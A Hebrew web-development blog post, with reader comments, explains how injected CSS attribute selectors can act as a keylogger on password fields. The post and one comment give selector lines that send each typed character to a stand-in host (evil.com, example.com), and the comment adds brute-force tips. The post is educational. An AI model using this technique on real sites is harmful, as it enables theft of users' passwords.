אינטרנט ישראל
  • ראשי
  • אודות רן בר-זיק ואינטרנט ישראל
  • ערוץ טלגרם
  • מסטודון
  • התחברו אלי בטוויטר
  • התחברו אלי בלינקדאין
  • ספר ג'אווהסקריפט
  • ראשי
  • אודות רן בר-זיק ואינטרנט ישראל
  • ערוץ טלגרם
  • מסטודון
  • התחברו אלי בטוויטר
  • התחברו אלי בלינקדאין
  • ספר ג'אווהסקריפט
ראשי » פיתוח אינטרנט » פתרונות ומאמרים על פיתוח אינטרנט » קילוגר עם CSS

קילוגר עם CSS

רן בר-זיק מרץ 1, 2020 7:07 am 6 תגובות

כך אפשר, בתנאים מסוימים, להזריק קוד CSS שיעשה מעקב אחר ההקלדות של המשתמשים.

כדאי תמיד להשאר מעודכנים! אם יש לכם טלגרם, בדקו את ערוץ הטלגרם של האתר שבו אני מעדכן על פוסטים חדשים 🙂 אם אתם רוצים ללמוד תכנות באופן מקיף ומסודר, הצטרפו לאלפי הלומדים בפרויקט "ללמוד ג'אווהסקריפט בעברית" שמלמד לתכנת בג'אווהסקריפט, ב-Node.js ובריאקט וגם מלמד על תרומה לקוד פתוח. גם ספרים דיגיטליים וגם ספרים מודפסים. בשיתוף הקריה האקדמית אונו ובתמיכת חברות מובילות כגון Wix, Outbrain, Elementor, Iron Source, Chegg, Really Good ועוד.

אם יש מישהו שאני מעריך בנושא ה-CSS זה אלעד שכטר שמנהל את קהילת ה- CSS masters בישראל. לחלק מכם CSS יחשב כנושא איזוטרי, שלא לומר משעמם בעידן הפריימוורקים והג׳אווהסקריפט אבל זה רחוק מלהיות נכון. בניה נכונה של CSS והכרות טובה איתו היא אחת מאבני היסוד של כל מתכנת פרונט אנד והדברים שאפשר לעשות עם css באתרי פרודקשן הם מטורפים.

לפני כשבועיים נפגשתי עם אלעד במיטאפ המגניב מאוד של מפתחי הווב של באר שבע. מדובר במיטאפ שמארגן ינאי אדרי והוא אחד המיטאפים הותיקים והמוצלחים ביותר. אני מגיע לשם כל שנה כי זה באמת מיטאפ נהדר וינאי משחד אותי בבירות משובחות של גלנץ שכרגע קשה להשיג במרכז. סיפרתי לאלעד שיש לא מעט חורי אבטחה ב-CSS והוא לא ידע – חשבתי שאם אדם בקליבר שלו לא יודע, אז ללא ספק זו הזדמנות לדבר על כמה חורי אבטחה מעניינים ב-CSS.

בגדול, רובנו כבר יודעים להזהר מ-XSS. ג׳אווהסקריפט שתוקף מזריק לאתר שלנו ויכול להסב נזקים למשתמשים – להקפיץ להם תוכן זדוני, לשלוח אותם לדף אחר ואפילו, בתנאים מאוד ספציפיים, לגנוב להם את הסשן. Headers וגם מנגנונים אחרים כמו WAFים (שזה פיירוולים אפליקטיביים) בולמים בדרך כלל כל מה שחשוד ב-XSS. אבל מה עם הזרקת CSS?

אני שומע כבר את הקוראים מגחכים. מה אפשר לעשות עם הזרקת CSS? אז נניח והתוקף מצליח להכניס תגית style לאתר שלי – מה הוא כבר יכול לעשות עם זה? אז קודם כל הוא יכול להחליף את התוכן של האתר ממש באמצעות התכונות content שבה אפשר להכניס גם קישור. למשל לצבוע את האתר שלכם בשחור ולשים ״האתר עבר, לחצו כאן״ או ״הכנסו ל https://evil.com או משהו בסגנון. אבל מעבר לזה, יש עוד כמה דברים מענינים – כמו ה-CSS keylogger. קוד ב-CSS שיכול לעקוב אחר ההקלדות שלך בשדה כלשהו – כמו למשל שדה משתמש וסיסמה ולשלוח את המידע הזה לשרת מרוחק. איך? עם סלקטור פשוט של ערך של value. כן, מסתבר שאפשר לכתוב סלקטורים ב-CSS עם ביטויים רגולריים שקובעים תכונות מסוימות לפי תכונות של האלמנט. אם מדובר ב-input, ובכן… יש לו תכונת value. אם יש לי סלקטור כזה למשל:

input[type="password"][value*="a"]

אני יכול להציב לסלקטורים כאלו background-image שפשוט קורא ל: 

https://evil.com?param=a

בכל פעם שהתנאי מתממש – evil.com יקבל קריאה ל-a.

הנה הדמו המובטח, פיתחו את הקונסול:

See the Pen css keylogger by Ran Bar-Zik (@barzik-the-vuer) on CodePen.

איך זה עובד? קודם כל זו קצת רמאות – כי זה מצריך שיהיה ג׳אווהסקריפט שמשנה את ה-value של הטופס. שזה קורה המון אם יש ספריות צד לקוח כמו ריאקט שעושה בדיוק את אותו הדבר. ברגע שיש את זה, כל מה שאני צריך לעשות זה להזריק CSS לעמוד שקובע רקע ל-imput. הרקע יכול להיות צבע, כמו בתמונה. או לחלופין, יכול להיות background-img עם קישור מיוחד וכך בעצם התוקף יכול עם קצת מזל להאזין להקלדות.. לא הוקטור הכי ולידי, אבל בהחלט משהו אפשרי.

איך מתגוננים? האמת שכמשתמש קצה אין לי איך להתגונן וזה מבאס. מצד שני, נודה על האמת – הוקטור הזה מעיף אבל לא מאוד ישים. אבל… טוב לדעת שאפשר לעשות נזקים ובושות גם עם CSS.

זהו, קצת ישן אבל בהחלט משעשע ומעניין, ולו רק מהבחינה האינטלקטואלית.

כדאי תמיד להשאר מעודכנים! אם יש לכם טלגרם, בדקו את ערוץ הטלגרם של האתר שבו אני מעדכן על פוסטים חדשים 🙂 אם אתם רוצים ללמוד תכנות באופן מקיף ומסודר, הצטרפו לאלפי הלומדים בפרויקט "ללמוד ג'אווהסקריפט בעברית" שמלמד לתכנת בג'אווהסקריפט, ב-Node.js ובריאקט וגם מלמד על תרומה לקוד פתוח. גם ספרים דיגיטליים וגם ספרים מודפסים. בשיתוף הקריה האקדמית אונו ובתמיכת חברות מובילות כגון Wix, Outbrain, Elementor, Iron Source, Chegg, Really Good ועוד.
CSS אבטחת מידע

6 תגובות

  1. ינאי אדרי הגב מרץ 1, 2020 בשעה 9:21 am

    הכי כייף לארח אותך איש יקר… זכות שלנו

  2. שהיר הגב מרץ 1, 2020 בשעה 11:13 am

    אחלה כתבה רן, מפורט ומוסבר כמו שצריך!

  3. אלעד שכטר הגב מרץ 1, 2020 בשעה 12:50 pm

    בהחלט למדתי משהו חדש! חושב איך ליצר מזה טריקים מגניבים בCSS 🙂

  4. ניר הגב מרץ 5, 2020 בשעה 5:59 pm

    אם יש לך באתר CSP אז פניה לשרת בדומיין אחר תחסם

  5. יהוחפץ הגב אפריל 22, 2020 בשעה 2:00 pm

    כתבת בטעות imput במקום input…

    (תוכל למחוק את התגובה הזו אחרי התיקון)

  6. משתמש אנונימי (לא מזוהה) הגב מאי 13, 2020 בשעה 10:16 am

    יש דרך יותר יעילה שמאפשרת לך ללכוד כמעט בוודאות את הסיסמה:
    "`
    input[type="password"][value$=""a] {
    background: url(https://example.com/a);
    }
    "`
    וככה כשהמשתמש מקליד a אתה מקבל בקשה, כנ"ל b, וכו', ואז (אם אין עיכובים ברשת שיגרמו לבקשות לא באותו הסדר שהן נשלחו) אתה יכול לקבל את הסיסמה במדויק (וגם אם יש עיכובים, אתה יודע בדיוק את האותיות של הסיסמה וכמעט בדיוק את הסדר שלהן (סטטיסטית) – אז אתה יכול לבצע brute-force פשוט ע עם טיפה נסיונות. תנסה להחליף כל שתי אותיות סמוכות – סיכוי טוב שזה יספיק. אל תשכח שמדובר בבקשות GET פשוטות בלי שום payload).
    אתה יכול למצוא מימוש נחמד ב https://github.com/maxchehab/CSS-Keylogging/.

השארת תגובה

ביטול

ללמוד ג'אווהסקריפט בעברית

ללמוד לתכנת ג'אווהסקריפט בעברית שגייס יותר משלוש מאות אלף שקל ולמעלה מ-2000 תומכים - בואו ללמוד עכשיו איך לתכנת.

רשימת הנושאים
  • מדריכים
    • ריאקט
    • טייפסקריפט
    • ECMAScript 6
    • ES20XX
    • Node.js
    • Express
    • רספברי פיי
    • Babel
    • docker
    • MongoDB
    • Git
    • לימוד MySQL
    • SASS
    • jQuery
    • CSS3
    • HTML 5
    • SVN
    • LESS
  • פיתוח אינטרנט
    • פתרונות ומאמרים על פיתוח אינטרנט
    • jQuery Scripts
    • jQuery למתקדמים
    • יסודות בתכנות
    • נגישות אינטרנט
  • חדשות אינטרנט
  • מידע כללי על אינטרנט
    • רשת האינטרנט
    • בניית אתרי אינטרנט
  • rss logo

    לכל המאמרים

    לכל המאמרים שפורסמו באינטרנט ישראל משנת 2008 ועד עכשיו.
  • rss logo

    RSS Feed

    משתמשים בקורא RSS? אם כן, עקבו אחרי אינטרנט ישראל באמצעות פיד ה-RSS!
    מה זה RSS?
  • Twitter logo

    עקבו אחרי בטוויטר

    בחשבון הטוויטר שלי אני מפרסם עדכונים מהירים על חדשות בתחום התכנות והיזמות, התרעות על מצבי חירום ורכילות בוערת על תחום הווב.
    מה זה טוויטר?
  • facebook like image

    ערוץ הטלגרם של אינטרנט ישראל

    בערוץ הטלגרם של אינטרנט ישראל אני מפרסם את הפוסטים של באתר וכן עדכונים טכנולוגיים נוספים.
    מה זה טלגרם?
  • github logo

    הפרויקטים שלי בגיטהאב

    הפרויקטים שאני כותב ושוחררו לציבור ברישיון קוד פתוח נמצאים ברובם בגיטהאב.
חיפוש

כל הזכויות שמורות לרן בר-זיק ולאינטרנט ישראל | מדיניות הפרטיות של אתר אינטרנט ישראל | אתר אינטרנט ישראל נגיש לפי תקן WCAG 2.0 AA | הצהרת הנגישות של האתר | אבטחת מידע ודיווח על בעיית אבטחת מידע

גלילה לראש העמוד